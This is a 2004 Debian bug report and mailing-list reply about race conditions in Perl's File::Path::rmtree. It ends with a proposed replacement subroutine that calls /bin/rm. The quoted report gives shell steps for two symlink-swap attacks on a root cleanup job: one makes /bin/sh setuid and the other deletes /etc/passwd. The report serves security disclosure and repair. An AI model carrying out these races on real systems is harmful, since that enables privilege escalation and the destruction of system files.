Bug#286905: perl-modules: File::Path::rmtree makes setuid

[Brendan O'Dea]

On Thu, Dec 23, 2004 at 09:10:31AM +1100, Paul Szabo wrote:
>Package: perl-modules
>Version: 5.6.1-8.7
>Severity: critical
>File: /usr/share/perl/5.6.1/File/Path.pm
>Tags: security
>Justification: root security hole

>Example of attack: suppose we know that root uses rmtree to clean up
>/tmp directories. Attacker prepares things:
>
>  mkdir -p /tmp/psz/sh
>  perl -e 'open F, ">/tmp/psz/sh/$_" foreach (1..1000)'
>  chmod 4777 /tmp/psz/sh
>
>While root is busy working on /tmp/psz/sh (and this can be made as slow
>as we like), attacker does:
>
>  mv /tmp/psz/sh /tmp/psz/dummy
>  ln -s /bin/sh /tmp/psz/sh
>
>Root would have recorded the permissions of /tmp/psz/sh, but would
>"restore" it to /bin/sh.

>Following on from the "File::Path::rmtree makes setuid" issue, I notice
>that rmtree may be tricked into removing arbitrary files.
>
>Example of attack: suppose we know that root uses rmtree to clean up
>/tmp directories. Attacker prepares things:
>
>  mkdir /tmp/psz
>  perl -e 'open F, ">/tmp/psz/$_" foreach (1..1000)'
>  touch /tmp/psz/passwd
>
>While root is busy working on /tmp/psz (and this can be made as slow as
>we like), attacker does:
>
>  mv /tmp/psz /tmp/dummy
>  ln -s /etc /tmp/psz
>
>Root will then remove /etc/passwd.

Thanks Paul,

both of these issues obviously stem from the same root cause--a race
between generating a list of files, then manipulating that list.

I don't really see that this is fixable outside of rewriting rmtree to
recursively chdir+readdir+unlink.

Given that there are possible pitfalls even with this approach (cf. 
CVE-2002-0435) I'm considering punting the problem to fileutils,
replacing rmtree entirely with the attached subroutine.

[p5p:] If anyone had a cleaner (and cross-platform) fix, I'd love to
hear of it.

--bod

sub rmtree
{
    my ($p, $verbose) = @_;
    $p = [] unless defined $p and length $p;
    $p = [ $p ] unless ref $p;
    my @paths = grep defined && length, @$p;

    unless (@paths)
    {
        carp "No root path(s) specified\n";
        return 0;
    }

    local *RM;
    my $pid = open RM, '-|';

    unless (defined $pid)
    {
        carp "Can't fork ($!)\n";
        return 0;
    }

    unless ($pid)
    {
        # need to parse output, ensure it's not localised
        delete $ENV{$_} for grep /^(LC_|LANG(UAGE)?$)/, keys %ENV;

        exec '/bin/rm', '-rvf', @paths
            or croak "Can't exec /bin/rm ($!)\n";
    }

    my $count = 0;
    while (<RM>)
    {
        if ($verbose)
        {
            chomp;
            s/'$//;

            if (s/^removed directory: `//)
            {
                print "rmdir $_\n";
            }
            elsif (s/^removed `//)
            {
                print "unlink $_\n";
            }

            $count++;
        }
    }

    close RM;

    $count;
}


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]